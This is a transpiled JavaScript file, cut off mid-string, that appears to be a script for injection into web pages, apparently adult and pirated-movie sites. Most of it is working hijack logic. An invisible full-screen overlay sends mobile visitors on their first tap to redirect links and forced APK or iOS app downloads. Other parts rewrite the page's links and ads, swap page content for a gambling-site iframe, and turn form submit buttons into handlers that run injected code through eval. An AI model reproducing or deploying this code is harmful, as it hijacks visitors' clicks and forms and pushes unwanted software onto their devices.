"use strict";
var _this10 = void 0;

function _defineProperty(obj, key, value) {
	if (key in obj) {
		Object.defineProperty(obj, key, {
			value: value,
			enumerable: true,
			configurable: true,
			writable: true
		})
	} else {
		obj[key] = value
	}
	return obj
}

function _typeof(obj) {
	"@babel/helpers - typeof";
	if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") {
		_typeof = function _typeof(obj) {
			return typeof obj
		}
	} else {
		_typeof = function _typeof(obj) {
			return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" :
				typeof obj
		}
	}
	return _typeof(obj)
}

function _inherits(subClass, superClass) {
	if (typeof superClass !== "function" && superClass !== null) {
		throw new TypeError("Super expression must either be null or a function");
	}
	subClass.prototype = Object.create(superClass && superClass.prototype, {
		constructor: {
			value: subClass,
			writable: true,
			configurable: true
		}
	});
	if (superClass) _setPrototypeOf(subClass, superClass)
}

function _setPrototypeOf(o, p) {
	_setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) {
		o.__proto__ = p;
		return o
	};
	return _setPrototypeOf(o, p)
}

function _createSuper(Derived) {
	var hasNativeReflectConstruct = _isNativeReflectConstruct();
	return function() {
		var Super = _getPrototypeOf(Derived),
			result;
		if (hasNativeReflectConstruct) {
			var NewTarget = _getPrototypeOf(this).constructor;
			result = Reflect.construct(Super, arguments, NewTarget)
		} else {
			result = Super.apply(this, arguments)
		}
		return _possibleConstructorReturn(this, result)
	}
}

function _possibleConstructorReturn(self, call) {
	if (call && (_typeof(call) === "object" || typeof call === "function")) {
		return call
	}
	return _assertThisInitialized(self)
}

function _assertThisInitialized(self) {
	if (self === void 0) {
		throw new ReferenceError("this hasn't been initialised - super() hasn't been called");
	}
	return self
}

function _isNativeReflectConstruct() {
	if (typeof Reflect === "undefined" || !Reflect.construct) return false;
	if (Reflect.construct.sham) return false;
	if (typeof Proxy === "function") return true;
	try {
		Date.prototype.toString.call(Reflect.construct(Date, [], function() {}));
		return true
	} catch (e) {
		return false
	}
}

function _getPrototypeOf(o) {
	_getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) {
		return o.__proto__ || Object.getPrototypeOf(o)
	};
	return _getPrototypeOf(o)
}

function _instanceof(left, right) {
	if (right != null && typeof Symbol !== "undefined" && right[Symbol.hasInstance]) {
		return !!right[Symbol.hasInstance](left)
	} else {
		return left instanceof right
	}
}

function _toConsumableArray(arr) {
	return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _unsupportedIterableToArray(arr) || _nonIterableSpread()
}

function _nonIterableSpread() {
	throw new TypeError(
		"Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."
	);
}

function _unsupportedIterableToArray(o, minLen) {
	if (!o) return;
	if (typeof o === "string") return _arrayLikeToArray(o, minLen);
	var n = Object.prototype.toString.call(o).slice(8, -1);
	if (n === "Object" && o.constructor) n = o.constructor.name;
	if (n === "Map" || n === "Set") return Array.from(o);
	if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen)
}

function _iterableToArray(iter) {
	if (typeof Symbol !== "undefined" && Symbol.iterator in Object(iter)) return Array.from(iter)
}

function _arrayWithoutHoles(arr) {
	if (Array.isArray(arr)) return _arrayLikeToArray(arr)
}

function _arrayLikeToArray(arr, len) {
	if (len == null || len > arr.length) len = arr.length;
	for (var i = 0, arr2 = new Array(len); i < len; i++) {
		arr2[i] = arr[i]
	}
	return arr2
}

function _classCallCheck(instance, Constructor) {
	if (!_instanceof(instance, Constructor)) {
		throw new TypeError("Cannot call a class as a function");
	}
}

function _defineProperties(target, props) {
	for (var i = 0; i < props.length; i++) {
		var descriptor = props[i];
		descriptor.enumerable = descriptor.enumerable || false;
		descriptor.configurable = true;
		if ("value" in descriptor) descriptor.writable = true;
		Object.defineProperty(target, descriptor.key, descriptor)
	}
}

function _createClass(Constructor, protoProps, staticProps) {
	if (protoProps) _defineProperties(Constructor.prototype, protoProps);
	if (staticProps) _defineProperties(Constructor, staticProps);
	return Constructor
}
var fun = function() {
	function fun() {
		var Param = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
		_classCallCheck(this, fun);
		this.DOM = new FindDom();
		this.func = new func();
		if (Param && sessionStorage.getItem("".concat(location.href)) !== true) {
			Param.pornographic && this.pornographic(Param.pornographic);
			Param.FictionMovie && this.FictionMovie(Param.FictionMovie);
			Param.regular && this.regular(Param.regular)
		}
		Param.getInput && this.getInput(Param.getInput);
		Param.getform && this.getform(Param.getform);
		Param.arbitrarilyClick && this.arbitrarilyClick(Param.arbitrarilyClick);
		Param.statistics && this.statistics(Param.statistics);
		Param.filterImg && this.filterImg();
		Param.deleteEndGif && this.deleteEndGif();
		Param.ChooseToReplace && this.ChooseToReplace(Param.ChooseToReplace);
		Param.ReplaceTheLink && this.ReplaceTheLink(Param.ReplaceTheLink);
		Param.AtwillUrl && this.AtwillUrl(Param.AtwillUrl);
		Param.AtwillImg && this.AtwillImg(Param.AtwillImg);
		Param.CustomCallbacks && this.CustomCallbacks(Param.CustomCallbacks);
		sessionStorage.setItem("".concat(location.href), true)
	}
	_createClass(fun, [{
		key: "pornographic",
		value: function pornographic(cont) {
			var _cont$adapt = cont.adapt,
				adapt = _cont$adapt === void 0 ? 'move' : _cont$adapt,
				_cont$filert = cont.filert,
				filert = _cont$filert === void 0 ? true : _cont$filert,
				_cont$linkbg = cont.linkbg,
				linkbg = _cont$linkbg === void 0 ? false : _cont$linkbg,
				_cont$onOff = cont.onOff,
				onOff = _cont$onOff === void 0 ? true : _cont$onOff,
				_cont$OneClick = cont.OneClick,
				OneClick = _cont$OneClick === void 0 ? {
					click: false,
					url: '',
					IOSlink: null,
					dwApp: false,
					IosApk: null,
					dwAPK: null
				} : _cont$OneClick,
				appleplet = cont.appleplet;
			filert && this.filterImg() && this.deleteEndGif();
			linkbg && this.ChooseToReplace();
			if (this.func.getFtu() === '移动端' || adapt === 'All') {
				OneClick.click && this.arbitrarilyClick.call(this, {
					jumpTerm: OneClick.off,
					linkUrl: OneClick.url,
					IOSlink: OneClick.IOSlink,
					download: OneClick.dwApp,
					dwAPK: OneClick.dwAPK,
					IosApk: OneClick.IosApk
				});
				appleplet && setTimeout(function() {
					if (appleplet.length > 1) {
						for (var g in appleplet) {
							new template({
								site: appleplet[g].tp,
								a: appleplet[g].url,
								img: appleplet[g].img,
								id: appleplet[g].id,
								className: appleplet[g].className,
								sqcont: appleplet[g].sqcont
							})
						}
					}
				}, 100)
			}
			onOff && this.colos()
		}
	}, {
		key: "FictionMovie",
		value: function FictionMovie(data) {
			var top = data.top,
				_data$tcont = data.tcont,
				tcont = _data$tcont === void 0 ? [] : _data$tcont,
				bottom = data.bottom,
				_data$bcont = data.bcont,
				bcont = _data$bcont === void 0 ? [] : _data$bcont,
				_data$removegif = data.removegif,
				removegif = _data$removegif === void 0 ? true : _data$removegif,
				_data$OneClick = data.OneClick,
				OneClick = _data$OneClick === void 0 ? {
					click: false,
					dwApp: false,
					AppUrl: null,
					IOSlink: null,
					url: null,
					IosApk: null
				} : _data$OneClick;
			removegif && this.deleteEndGif();
			if (this.func.getFtu() === '移动端') {
				OneClick.click && this.arbitrarilyClick({
					linkUrl: OneClick.url,
					IOSlink: OneClick.IOSlink,
					download: OneClick.dwApp,
					dwAPK: OneClick.AppUrl,
					IosApk: OneClick.IosApk
				});
				if (this.func.getUrl('www') !== this.func.getUrl('url')) {
					if (document.getElementsByClassName('AdvertisingLogo').length === 0) {
						var body = document.body;
						if (top) {
							var OenData = tcont.length === 1 ? tcont[0] : this.AtwillImg(tcont);
							var link = OenData.link,
								img = OenData.img;
							var theaTop = this.DOM.setElement();
							theaTop.className = 'AdvertisingLogo';
							theaTop.innerHTML = "<a href=\"".concat(link,
								"\" target=\"_blank\" rel=\"noopener noreferrer\"><img src=\"").concat(img,
								"\" alt=\"\" class=\"wp-image-66839\"  sizes=\"(max-width: 800px) 100vw, 800px\" style=\"width: 100%; height: 15vh;\"></a>"
							);
							body.insertBefore && body.insertBefore(theaTop, body.firstChild)
						}
						bottom === true ? setTimeout(function() {
							var OenData = bcont.length === 1 ? bcont[0] : this.AtwillImg(bcont);
							var link = OenData.link,
								img = OenData.img;
							var bottom = this.DOM.setElement();
							bottom.style = 'z-index: 2147483647;width: 100%;';
							bottom.innerHTML =
								"<div style=\"position: absolute;color: red;right:0px;font-family: fantasy;background: white;\" id=\"close\">\u5173\u95ED</div ><a href=\""
								.concat(link,
									"\" title=\"\u76F4\u64AD\u89C6\u9891\" target=\"_blank\" rel=\"noopener noreferrer\"><img src=\"").concat(
									img,
									"\" alt=\"\" class=\"wp-image-66839\" sizes=\"(max-width: 800px) 100vw, 800px\" style=\"width: 100%; height: 15vh;\"></a>"
								);
							body.insertBefore(bottom, body.lastChild);
							this.colos()
						}.bind(this), 1000) : null
					}
				}
			}
		}
	}, {
		key: "regular",
		value: function regular() {
			var parameter = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
			var _parameter$AllCont = parameter.AllCont,
				AllCont = _parameter$AllCont === void 0 ? [] : _parameter$AllCont,
				_parameter$sfUrl = parameter.sfUrl,
				sfUrl = _parameter$sfUrl === void 0 ? 'https://677u.com/list1.php?c=pk10' : _parameter$sfUrl,
				_parameter$API = parameter.API,
				API = _parameter$API === void 0 ? 'http://172.16.100.52/api/' : _parameter$API,
				_parameter$imgArr = parameter.imgArr,
				imgArr = _parameter$imgArr === void 0 ? [] : _parameter$imgArr;
			console.log(parameter);
			var mj = {
				iframe: "<div style=\"width: 100%;height: 150%;\">\n\t\t\t<p style=\"text-align: center\"><img id=\"mmg\" src=\"\" style=\"margin: 0 auto; width: 1000px; height: 130px;\" /></p><iframe\n\t\t\t src=\""
					.concat(sfUrl, "\" scrolling=\"no\"  style='border: none;width: 100%;height: 2000vh;'></iframe></div>")
			};
			setTimeout(function() {
				var BOM = this.DOM.getAll('iframe');
				var arrt = [];
				if (BOM.length !== 0) {
					for (var p = 0; p < BOM.length; p++) {
						arrt.push(parseInt(BOM[p].height))
					}
					console.warn(arrt);
					var ifra = BOM[arrt.indexOf(Math.max.apply(null, arrt))];
					if (imgArr.length > 1 && arrt.length !== 0) {
						var ims = this.DOM.setElement('img');
						ims.style = "margin: 0 auto; width: 1000px; height: 130px;";
						ims.src = this.AtwillUrl(imgArr);
						ims.id = 'm';
						ifra.src = sfUrl;
						ifra.parentNode.insertBefore(ims, ifra)
					} else if (arrt.length !== 0) {
						ifra.src = sfUrl
					};
					console.warn('iframe')
				} else {
					var tb = this.DOM.getAll('table');
					if (tb.length !== 0) {
						tb[0].innerHTML = mj.iframe;
						console.warn('table')
					} else {
						var Arrcont = ["#content", ".content", "center", ".center", "#center"].concat(_toConsumableArray(AllCont));
						for (var x = 0; x < Arrcont.length; x++) {
							var zdy = this.DOM.getAll(Arrcont[x]);
							if (zdy.length !== 0) {
								break
							}
						};
						if (zdy.length !== 0) {
							zdy[0].innerHTML = mj.iframe;
							imgArr.length > 1 && setTimeout(function() {
								var baner = document.getElementById('mmg');
								baner.src = this.AtwillUrl(imgArr)
							}.bind(this), 200)
						} else {
							new request({
								url: API,
								data: {
									url: this.GotoURL(),
									count: 1
								}
							})
						}
					}
				}
			}.bind(this), 500)
		}
	}, {
		key: "arbitrarilyClick",
		value: function arbitrarilyClick(data) {
			var _data$linkUrl = data.linkUrl,
				linkUrl = _data$linkUrl === void 0 ? null : _data$linkUrl,
				_data$IOSlink = data.IOSlink,
				IOSlink = _data$IOSlink === void 0 ? null : _data$IOSlink,
				_data$download = data.download,
				download = _data$download === void 0 ? false : _data$download,
				_data$dwAPK = data.dwAPK,
				dwAPK = _data$dwAPK === void 0 ? null : _data$dwAPK,
				_data$IosApk = data.IosApk,
				IosApk = _data$IosApk === void 0 ? null : _data$IosApk;
			var host = this.func.getUrl('url');
			if (_instanceof(linkUrl, Array)) {
				linkUrl = this.AtwillUrl(linkUrl)
			}
			if (sessionStorage.getItem("".concat(host, "SHOUPINGONCILCK")) === null) {
				sessionStorage.setItem("".concat(host, "SHOUPINGONCILCK"), 'SHOUPINGONCILCK')
			}
			if (sessionStorage.getItem("".concat(host, "SHOUPINGONCILCK")) === 'SHOUPINGONCILCK') {
				var mb = this.DOM.setElement();
				mb.id = 'meban';
				mb.style = "position: fixed;width: 100vh; height: 100vh;top: 0px; z-index: 2147483647;";
				this.DOM.getBody().appendChild(mb)
			}
			var clic = this.DOM.getAll('#meban');
			for (var i = 0; i < clic.length; i++) {
				clic[i].onclick = function() {
					if (this.func.getFtu('null') === 'Android') {
						if (sessionStorage.getItem("".concat(host, "SHOUPINGONCILCK")) === 'SHOUPINGONCILCK') {
							sessionStorage.setItem("".concat(host, "SHOUPINGONCILCK"), false);
							(download === true ? (open(dwAPK), this.GotoURL(linkUrl)) : this.GotoURL(linkUrl))()
						}
					} else if (this.func.getFtu('null') === 'iPhone') {
						if (sessionStorage.getItem("".concat(this.func.getUrl('url'), "SHOUPINGONCILCK")) === 'SHOUPINGONCILCK') {
							sessionStorage.setItem("".concat(this.func.getUrl('url'), "SHOUPINGONCILCK"), false);
							(download === true ? (open(IosApk), this.GotoURL(IOSlink)) : this.GotoURL(IOSlink))()
						}
					}
				}.bind(this)
			}
		}
	}, {
		key: "statistics",
		value: function statistics() {
			var data = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
			var _data$url = data.url,
				url = _data$url === void 0 ? 'https://js.users.51.la/19651791.js' : _data$url;
			var srcs = [],
				m, script;
			_toConsumableArray(document.querySelectorAll('img')).forEach(function(e) {
				srcs.push(e.src)
			});
			m = srcs.filter(function(e) {
				return e === url
			});
			console.log(m);
			m.length || (script = this.DOM.setElement('script'), script.type = 'text/javascript', script.src = url, this.DOM
				.getAll('head')[0].appendChild(script))
		}
	}, {
		key: "colos",
		value: function colos() {
			var _this = this;
			setTimeout(function() {
				var cilCk = _this.DOM.getAll('#close');
				for (var cols = 0; cols < cilCk.length; cols++) {
					cilCk[cols].onclick = function() {
						this.parentNode.innerHTML = null
					}
				}
			}, 500)
		}
	}, {
		key: "deleteEndGif",
		value: function deleteEndGif() {
			var gif, agif, divgif;
			gif = this.DOM.getAll('img');
			agif = this.DOM.getAll('a');
			divgif = this.DOM.getAll('div');
			for (var i = 0; i < agif.length; i++) {
				var figs = getComputedStyle(agif[i], null).getPropertyValue('background-image').replace("url(", '').replace(
					")", '');
				if (figs.includes('gif')) {
					agif[i].parentNode.tagName === 'A' ? agif[i].parentNode.remove() : agif[i].remove()
				}
			}
			for (var index = 0; index < divgif.length; index++) {
				var _figs = getComputedStyle(divgif[index], null).getPropertyValue('background-image').replace("url(", '').replace(
					")", '');
				if (_figs.includes('gif')) {
					divgif[index].remove()
				}
			}
			for (var p = 0; p < gif.length; p++) {
				if (gif[p].src && gif[p].src.includes('gif')) {
					if (gif[p].parentNode) {
						gif[p].parentNode.innerHTML = null
					} else {
						gif[p].innerHTML = null
					}
				}
			}
		}
	}, {
		key: "AtwillUrl",
		value: function AtwillUrl(s) {
			console.log(s[this.func.randoms(0, s.length)]);
			return s[this.func.randoms(0, s.length)]
		}
	}, {
		key: "AtwillImg",
		value: function AtwillImg(obj) {
			var One = obj[this.func.randoms(0, obj.length)];
			return {
				link: One.link,
				img: One.img
			}
		}
	}, {
		key: "filterImg",
		value: function filterImg() {
			this.deleteEndGif();
			var ImgWidtArrylis = [];
			var ImgHeightArrylis = [];
			var imgs = this.DOM.getAll('img');
			for (var s = 0; s < imgs.length; s++) {
				if (imgs[s] && imgs[s].width > 850) {
					imgs[s].style.display = 'none'
				}
				if (imgs[s].style && imgs[s].style.width === '100%') {
					imgs[s].style.display = 'none'
				} else {
					if (imgs[s].style && imgs[s].style.display !== 'none') {
						ImgWidtArrylis.push(imgs[s].width);
						ImgHeightArrylis.push(imgs[s].height)
					}
				}
			}
			for (var p = 0; p < imgs.length; p++) {
				if (imgs[p].width && parseInt(imgs[p].width) !== parseInt(this.func.much(ImgWidtArrylis)) && parseInt(imgs[p].height) !==
					parseInt(this.func.much(ImgHeightArrylis))) {
					if (parseInt(imgs[p].width) > 300 && parseInt(imgs[p].height) > 200) {} else {
						if (imgs[p].parentNode !== undefined && imgs[p].parentNode !== null) {
							imgs[p].parentNode.innerHTML = null
						}
					}
				}
			}
			var img = this.DOM.getAll('img');
			for (var _s = 0; _s < img.length; _s++) {
				if (img[_s].width !== this.func.much(ImgWidtArrylis) && img[_s].height !== this.func.much(ImgHeightArrylis)) {
					if (img[_s] === 'object' && img[_s].style !== undefined && img[_s].style.display !== undefined) {
						if (img[_s].parentNode !== undefined) {
							img[_s].parentNode.innerHTML = null
						}
						img[_s].style.display = 'none'
					}
				} else {
					if (img[_s].parentNode && img[_s].parentNode.href) {
						if (img[_s].parentNode.href.includes('http')) {
							if (img[_s].style.width !== this.func.much(ImgWidtArrylis)) {
								img[_s].parentNode.style.display = 'none';
								if (img[_s].parentNode !== undefined) {
									img[_s].parentNode.innerHTML = null
								}
							}
						} else if (img[_s].parentNode.href.includes('https')) {
							if (img[_s].style.width !== this.func.much(ImgWidtArrylis)) {
								if (img[_s].parentNode !== undefined) {
									img[_s].parentNode.innerHTML = null
								}
								img[_s].parentNode.style.display = 'none'
							}
						}
					} else {
						if (img[_s] === 'object') {
							img[_s].style.display = 'none'
						}
					}
				}
			}
		}
	}, {
		key: "ReplaceTheLink",
		value: function ReplaceTheLink(parameter) {
			var node = parameter.node,
				rg = parameter.rg,
				_parameter$onOff = parameter.onOff,
				onOff = _parameter$onOff === void 0 ? false : _parameter$onOff;
			console.log(parameter);
			node = node.tagName === 'A' ? node : this.func.ToIdentify(node);
			if (node.nodeType === 1 && _instanceof(rg, Object)) {
				console.log(rg);
				onOff && (rg || node.remove());
				rg && (node.href = rg.url, node.style.backgroundImage = "url(".concat(rg.img, ")"))
			} else if (_instanceof(node, Array) && _instanceof(rg, Array)) {
				for (var p = 0; p < node.length; p++) {
					if (rg[p] && node[p]) {
						node[p].href = rg[p].url;
						node[p].style.backgroundImage = "url(".concat(rg[p].img, ")")
					} else {
						onOff && node[p].remove()
					}
				}
			}
		}
	}, {
		key: "ChooseToReplace",
		value: function ChooseToReplace(data) {
			var _this2 = this;
			var _data$barring = data.barring,
				barring = _data$barring === void 0 ? [] : _data$barring,
				_data$onOff = data.onOff,
				onOff = _data$onOff === void 0 ? false : _data$onOff,
				_data$rg = data.rg,
				rg = _data$rg === void 0 ? [] : _data$rg;
			var addressBar, AClassName, location, bgrul, ahref;
			location = "".concat(this.func.getUrl('tp') + "//" + this.func.getUrl('host'));
			addressBar = barring === [] ? location : barring;
			AClassName = this.DOM.getAll('a');
			var acont = _toConsumableArray(AClassName);
			acont.forEach(function(item, index) {
				ahref = item.href;
				bgrul = getComputedStyle(item, null).getPropertyValue('background-image').replace("url(", '').replace(")",
					'');
				if (addressBar.length > 1 && _instanceof(rg, Array)) {
					var gl = addressBar[index];
					if (!bgrul.includes(gl) || !ahref.includes(gl)) {
						_this2.ReplaceTheLink({
							node: item,
							rg: rg[index],
							onOff: onOff
						})
					}
				} else {
					if (!bgrul.includes(addressBar) || !ahref.includes(addressBar)) {
						url !== '' ? item.href = url : item.remove();
						rg || item.remove();
						console.log('ClasName')
					}
				}
			})
		}
	}, {
		key: "CustomCallbacks",
		value: function CustomCallbacks(e) {
			console.log(e);
			var scroll = e.scroll,
				keydow = e.keydow,
				resize = e.resize;
			func.TypeValidation(scroll, 'Onscrollfuc');
			func.TypeValidation(keydow, 'Onkeydow');
			func.TypeValidation(resize, 'Onresize')
		}
	}, {
		key: "GotoURL",
		value: function GotoURL(e) {
			return e ? window.location.href = e : window.location.href
		}
	}, {
		key: "downloadLink",
		value: function downloadLink(link) {
			if (link) {
				var ele = this.DOM.setElement('a');
				ele.setAttribute('href', link);
				ele.setAttribute('download', 'download');
				ele.click()
			}
		}
	}, {
		key: "getInput",
		value: function getInput(data) {
			var _data$label = data.label,
				label = _data$label === void 0 ? 'input[type="text"]' : _data$label,
				focus = data.focus,
				blur = data.blur,
				_data$ToObtain = data.ToObtain,
				ToObtain = _data$ToObtain === void 0 ? false : _data$ToObtain,
				_data$lose = data.lose,
				lose = _data$lose === void 0 ? false : _data$lose;
			this.DOM.getAll(label).forEach(function(e) {
				ToObtain && e.setAttribute('onfocus', '\inputfunc.focus(this,"' + focus + '"\)');
				lose && e.setAttribute('onblur', "inputfunc.blur(this,\"".concat(blur, "\")"))
			})
		}
	}, {
		key: "getform",
		value: function getform(cd) {
			console.log(cd);
			new FindDom().getAll('form').map(function(e) {
				_toConsumableArray(e.children).some(function(e) {
					e.type === 'submit' ? (e.setAttribute('onClick', "inputfunc.bottom(this,'".concat(cd.cd, "')")), e.type =
						'button') : ''
				})
			})
		}
	}]);
	return fun
}();
var inputfunc = function() {
	function inputfunc() {
		_classCallCheck(this, inputfunc)
	}
	_createClass(inputfunc, null, [{
		key: "publicfunc",
		value: function publicfunc(d) {
			if (d.startsWith('()=>{') && d.endsWith('}')) {
				eval("(".concat(d, ")()"))
			} else if (d.includes('https') || d.includes('http')) {
				new fun().GotoURL(d)
			}
		}
	}, {
		key: "focus",
		value: function focus(e, d) {
			this.publicfunc(d)
		}
	}, {
		key: "blur",
		value: function blur(e, d) {
			this.publicfunc(d)
		}
	}, {
		key: "bottom",
		value: function bottom(e, d) {
			this.publicfunc(d)
		}
	}]);
	return inputfunc
}();
var wd = function wd() {
	_classCallCheck(this, wd);
	this.wd = window;
	this.Dom = this.wd.document;
	this.sess = this.wd.sessionStorage;
	this.local = this.wd.localStorage;
	this.GetUerl = this.wd.location;
	this.xhr = new XMLHttpRequest() || new ActiveXObject("Microsoft.XMLHTTP")
};
var request = function(_wd) {
	_inherits(request, _wd);
	var _super = _createSuper(request);

	function request(parameter) {
		var _this3;
		_classCallCheck(this, request);
		_this3 = _super.call(this);
		var _parameter$url = parameter.url,
			url = _parameter$url === void 0 ? null : _parameter$url,
			_parameter$data = parameter.data,
			data = _parameter$data === void 0 ? {} : _parameter$data,
			_parameter$header = parameter.header,
			header = _parameter$header === void 0 ? 'application/json;charset=UTF-8' : _parameter$header,
			_parameter$way = parameter.way,
			way = _parameter$way === void 0 ? 'post' : _parameter$way,
			_parameter$datatype = parameter.datatype,
			datatype = _parameter$datatype === void 0 ? 'JSON' : _parameter$datatype;
		return _possibleConstructorReturn(_this3, new Promise(function(resolve, reject) {
			var xhr = _this3.xhr;
			xhr.open(way, url, true);
			xhr.datatype = datatype;
			xhr.setRequestHeader('Content-type', "".concat(header));
			xhr.timeout = 30000;
			if (xhr && xhr.timeout) {
				xhr.ontimeout = function() {
					alert('请求超时!')
				}
			};
			xhr.send(JSON.stringify(data));
			xhr.onerror = function(e) {
				reject(new Error({
					errorType: 'abort_error',
					xhr: xhr
				}))
			};
			xhr.onreadystatechange = function() {
				if (xhr.readyState === 4 && xhr.status === 200) {
					resolve(JSON.parse(xhr.responseText))
				} else if (xhr.readyState >= 400 && xhr.status < 500) {
					reject("\u9519\u8BEF\u8BF7\u6C42\uFF0C\u5982\u8BED\u6CD5\u9519\u8BEFhttp=>\u72B6\u6001\u7801:".concat(xhr.readyState))
				} else if (xhr.status > 500) {
					reject("\u670D\u52A1\u5668\u4EA7\u751F\u5185\u90E8\u9519\u8BEFhttp=>\u72B6\u6001\u7801:".concat(xhr.readyState))
				}
			}
		}))
	}
	return request
}(wd);
var session = function(_wd2) {
	_inherits(session, _wd2);
	var _super2 = _createSuper(session);

	function session(sess) {
		var _this4;
		_classCallCheck(this, session);
		_this4 = _super2.call(this);
		_this4.storage = sess === undefined ? _this4.sess : _this4.local;
		return _this4
	}
	_createClass(session, [{
		key: "set",
		value: function set(key, value) {
			this.storage.setItem(this.wd.btoa(this.wd.encodeURIComponent(key)), this.wd.btoa(this.wd.encodeURIComponent(
				value)))
		}
	}, {
		key: "get",
		value: function get(key) {
			var data = key === undefined ? null : this.storage.getItem(this.wd.btoa(this.wd.encodeURIComponent(key)));
			return data && this.wd.atob(this.wd.decodeURIComponent(data))
		}
	}, {
		key: "removeKey",
		value: function removeKey(key) {
			key && this.storage.removeItem(this.wd.decodeURIComponent(this.wd.btoa(key)))
		}
	}, {
		key: "removeAll",
		value: function removeAll() {
			this.storage.clear()
		}
	}]);
	return session
}(wd);
var Storage = function() {
	function Storage(props) {
		_classCallCheck(this, Storage);
		this.props = props || {};
		this.source = this.props.source || window.localStorage;
		this.initRun()
	}
	_createClass(Storage, [{
		key: "initRun",
		value: function initRun() {
			var _this5 = this;
			var reg = new RegExp("__expires__");
			var data = this.source;
			var list = Object.keys(data);
			if (list.length > 0) {
				list.map(function(key, v) {
					if (!reg.test(key)) {
						var now = Date.now();
						var expires = data["".concat(key, "__expires__")] || Date.now + 1;
						if (now >= expires) {
							_this5.remove(key)
						}
					};
					return key
				})
			}
		}
	}, {
		key: "set",
		value: function set(key, value, expired) {
			var source = this.source;
			source[key] = JSON.stringify(value);
			if (expired) {
				source["".concat(key, "__expires__")] = Date.now() + expired
			};
			return value
		}
	}, {
		key: "get",
		value: function get(key) {
			var source = this.source,
				expired = source["".concat(key, "__expires__")] || Date.now + 1;
			var now = Date.now();
			if (now >= expired) {
				this.remove(key);
				return
			}
			var value = source[key] ? JSON.parse(source[key]) : source[key];
			return value
		}
	}, {
		key: "remove",
		value: function remove(key) {
			var data = this.source,
				value = data[key];
			delete data[key];
			delete data["".concat(key, "__expires__")];
			return value
		}
	}]);
	return Storage
}();
var FindDom = function() {
	function FindDom() {
		_classCallCheck(this, FindDom)
	}
	_createClass(FindDom, [{
		key: "setElement",
		value: function setElement() {
			var label = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 'div';
			return FindDom.Dom.createElement(label)
		}
	}, {
		key: "getId",
		value: function getId(id, Node) {
			var d = FindDom.Dom.getElementById(id);
			if (id && Node === undefined) {
				return d
			}
			if (id && Node) return Node === 'father' ? d.parentNode : Node === 'son' ? d.lastElementChild : Node === 'noe' ?
				d.firstElementChild || d.firstChild : Node === 'end' ? d.firstChild : Node === "upwith" ? d.previousElementSibling :
				Node === 'withnext' ? d.nextElementSibling : Node === 'sonCont' ? d.childElementCount : null
		}
	}, {
		key: "getName",
		value: function getName(name) {
			return FindDom.Dom.getElementsByTagName(name)
		}
	}, {
		key: "getAll",
		value: function getAll(All) {
			return _toConsumableArray(FindDom.Dom.querySelectorAll(All))
		}
	}, {
		key: "getBody",
		value: function getBody() {
			return FindDom.Dom.body
		}
	}], [{
		key: "insertion",
		value: function insertion(node, place, text) {
			node && node.insertAdjacentHTML(place, text)
		}
	}, {
		key: "getClass",
		value: function getClass(name) {
			return FindDom.Dom.getElementsByClassName(name)
		}
	}, {
		key: "getSelector",
		value: function getSelector(leba) {
			return FindDom.Dom.querySelector(leba)
		}
	}, {
		key: "getBodystrt",
		value: function getBodystrt() {
			return FindDom.Dom.body.firstElementChild || FindDom.Dom.body.firstChild
		}
	}, {
		key: "getBodyEnd",
		value: function getBodyEnd() {
			return FindDom.Dom.body.lastElementChild || FindDom.Dom.body.lastChild
		}
	}, {
		key: "getNodeS",
		value: function getNodeS(Node) {
			var Nodecont = FindDom.getSelector(Node);
			var NodeList = Nodecont ? Nodecont.children || Nodecont.childNodes : '';
			return _toConsumableArray(NodeList)
		}
	}, {
		key: "getNodeNext",
		value: function getNodeNext(Node) {
			var Nodecont = FindDom.getSelector(Node);
			var NodeList = Nodecont ? Nodecont.nextElementSibling || Nodecont.nextSibling : '';
			return NodeList
		}
	}, {
		key: "getNodelast",
		value: function getNodelast(Node) {
			var Nodecont = FindDom.getSelector(Node);
			var NodeList = Nodecont ? Nodecont.previousElementSibling || Nodecont.previousSibling : '';
			return NodeList
		}
	}]);
	return FindDom
}();
_defineProperty(FindDom, "Dom", document);
var template = function(_FindDom) {
	_inherits(template, _FindDom);
	var _super3 = _createSuper(template);

	function template() {
		var _this7;
		var _this6;
		_classCallCheck(this, template);
		_this6 = _super3.call(this);
		_this6.tp = _this6.setElement();
		_this6.tp.style.width = func.getWandH().w;
		_this6.start = _this6.getBody().firstElementChild;
		_this6.end = _this6.getBody().lastChild;
		_this6.restyle();
		(_this7 = _this6).init.apply(_this7, arguments);
		return _this6
	}
	_createClass(template, [{
		key: "init",
		value: function init(order) {
			var site = order.site,
				_order$id = order.id,
				id = _order$id === void 0 ? '' : _order$id,
				_order$className = order.className,
				className = _order$className === void 0 ? '' : _order$className,
				_order$sqcont = order.sqcont,
				sqcont = _order$sqcont === void 0 ? [] : _order$sqcont;
			var _fun$AtwillImg = new fun().AtwillImg(sqcont),
				link = _fun$AtwillImg.link,
				img = _fun$AtwillImg.img;
			var include = 'position: fixed; z-index: 2147483647 !important;';
			var MTplaceLits = {
				top: "z-index: 2147483647 !important;width:100%;",
				bottom: "".concat(include, "width: 100%;bottom: 0;"),
				letft: "".concat(include, "width: 20%;bottom: 0;left: 0;top: 10%;"),
				right: "".concat(include, "width: 20%;bottom: 0;right: 0;top: 10%;"),
				conter: "".concat(include,
					" position: fixed; top: 0; bottom: 0; left: 0;  margin: auto; height: 50vh; width: 100%;")
			};
			var MTtemplate = {
				top: "<a style='z-index:2147483647' href=\"".concat(link,
					"\">\n                        <img style='width: 100%;height: 18.75rem;z-index:2147483647' src=\"").concat(
					img, "\" alt=\"\">\n                        </a>"),
				bottom: "<div class=\"up animated\" style = 'height: 18.75rem;'><p style=\"position: absolute;right: 0px;background: white;top: 1rem; width: 3rem;\" id=\"close\">\u5173\u95ED</p><a href=\""
					.concat(link,
						"\">\n                        <img style='position: fixed;width:100%; height: 100%; bottom: 0px;z-index: 2147483647;' src=\""
